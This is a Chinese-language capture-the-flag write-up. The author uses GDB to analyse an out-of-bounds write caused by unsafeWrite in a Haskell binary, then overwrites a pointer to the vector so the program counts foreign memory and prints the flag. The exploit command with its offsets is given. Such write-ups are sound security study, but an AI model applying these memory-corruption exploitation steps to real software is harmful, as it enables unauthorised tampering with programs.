完全不会 Haskell。程序功能看代码猜一下就是了,大概功能是:
- 程序创建了一个长度 100 的数组(Vector),数组值初始化成 0;
- 用户输入一个
index
和一个value
,然后 Vector 中对应index
的元素会被修改成value
; - 统计数组里有几个不是 0 的值,如果多于 1 个就输出 flag。
那个 V.unsafeWrite
明显就是要利用了后门。随便试一个越界的 index,触发 segfault,说明程序真的在越界写内存:
$ ./runme 1000000000 1
zsh: segmentation fault (core dumped) ./runme 1000000000 1
上 GDB,触发 segfault,就能定位到写内存的指令:
(gdb) run 10000000 1
.......
Program received signal SIGSEGV, Segmentation fault.
0x00000000004094fc in ?? ()
(gdb) display/i $pc
1: x/i $pc
=> 0x4094fc: mov %rax,0x10(%rbx,%rcx,8)
(gdb) x/4gx $rbx
0x4200105758: 0x00000000005852b8 0x0000000000000320
0x4200105768: 0x0000000000000000 0x0000000000000000
这里观察一下内存 layout,能知道:
%rbx = 0x4200105758
是 Vector 数据结构存放的位置,这个位置头 8 byte 有个不知道干啥的值;%rbx + 8
这里这个 0x320(100)应该是数组长度;%rbx + 0x10
这里开始是数组的元素,并且从寻址方式看,数组元素是连续存储的。
加 watchpoint,看看哪里会读取写入的元素:
(gdb) b *0x4094fc
(gdb) run 10 100
(gdb) rwatch *0x42001057b8
Hardware read watchpoint 2: *0x42001057b8
(gdb) c
Hardware read watchpoint 2: *0x42001057b8
│ 0x4095eb cmpq $0x0,0x10(%rax,%rcx,8)
│ > 0x4095f1 jne 0x409583
0x4095eb 这个 cmp 指令明显就是在比较元素是否为 0 了。
接下来 stepi
一步步跑,找到计数器 +1 的指令,这里可以人工改一下值看看是不是真的能拿到 flag:
│ 0x4095ca mov 0x48(%rsp),%rax
│ > 0x4095cf inc %rax
(gdb) set $rax=2
(gdb) c
Continuing.
count: 2
runme: flag.txt: openFile: does not exist (No such file or directory)
到这里程序运行流程基本是搞清楚了,没什么复杂的。
接下来我首先想到的思路是覆盖掉计数器,让它一开始不为0。然而试了试我很快发现这行不通,因为这个计数器是栈上分配的(上面 0x4095ca
指令的操作数 0x48(%rsp)
),一来内核 ASLR 会随机化栈的位置没法定位,二来栈空间的初始化后面肯定会重新做,提前填了非0值也没用。
后来又想到覆盖掉 Vector 长度,使得循环跑越界,读到其他内存位置的非0值。然而会发现 100 次循环这个数字是直接写在指令里的,并不能覆盖:
│ > 0x4095e5 cmp $0x64,%rcx
│ 0x4095e9 jge 0x409622
这里不知道怎么做了。于是从已知关键断点前后跑了几步 stepi/reverse-stepi
找线索,然后发现一个事情 —— Vector 数据结构的地址并不是写进指令的,而是从另一个内存位置读出来的。虽然我不懂 Haskell,但高级语言里这么搞层指针指向实际的数据结构也很正常吧:
│ > 0x4094f4 mov 0x10(%rbp),%rbx
│ 0x4094f8 mov 0x8(%rbp),%rcx
│ 0x4094fc mov %rax,0x10(%rbx,%rcx,8)
(gdb) p $rbp - 0x10
$3 = (void *) 0x42001fcfb8
我们看存这个指针的内存地址和它指向的 Vector 地址貌似在同一块内存区域,应该是编译时决定的,不会受到 ASLR 等运行时保护机制影响。于是现在产生了一个新的思路,就是覆盖掉这里指向的内存地址,使其指向一个有更多非0值的位置。这样的选择很多嘛,比如我选择了原来 Vector 地址之前的一个位置 0x4200105743
(126734 是算出来的指针位置相对于数组起点的偏移量):
$ ./runme 126734 $((0x4200105743))
count: 2
runme: flag.txt: openFile: does not exist (No such file or directory)
远程测试时,会发现 126734 这个偏移量并不管用。试着加减几个数字,发现 126732 是管用的。尚不理解原因。zzh 说“出题人的说法是环境变量不同导致的偏移吧”,看起来出题人也不知道。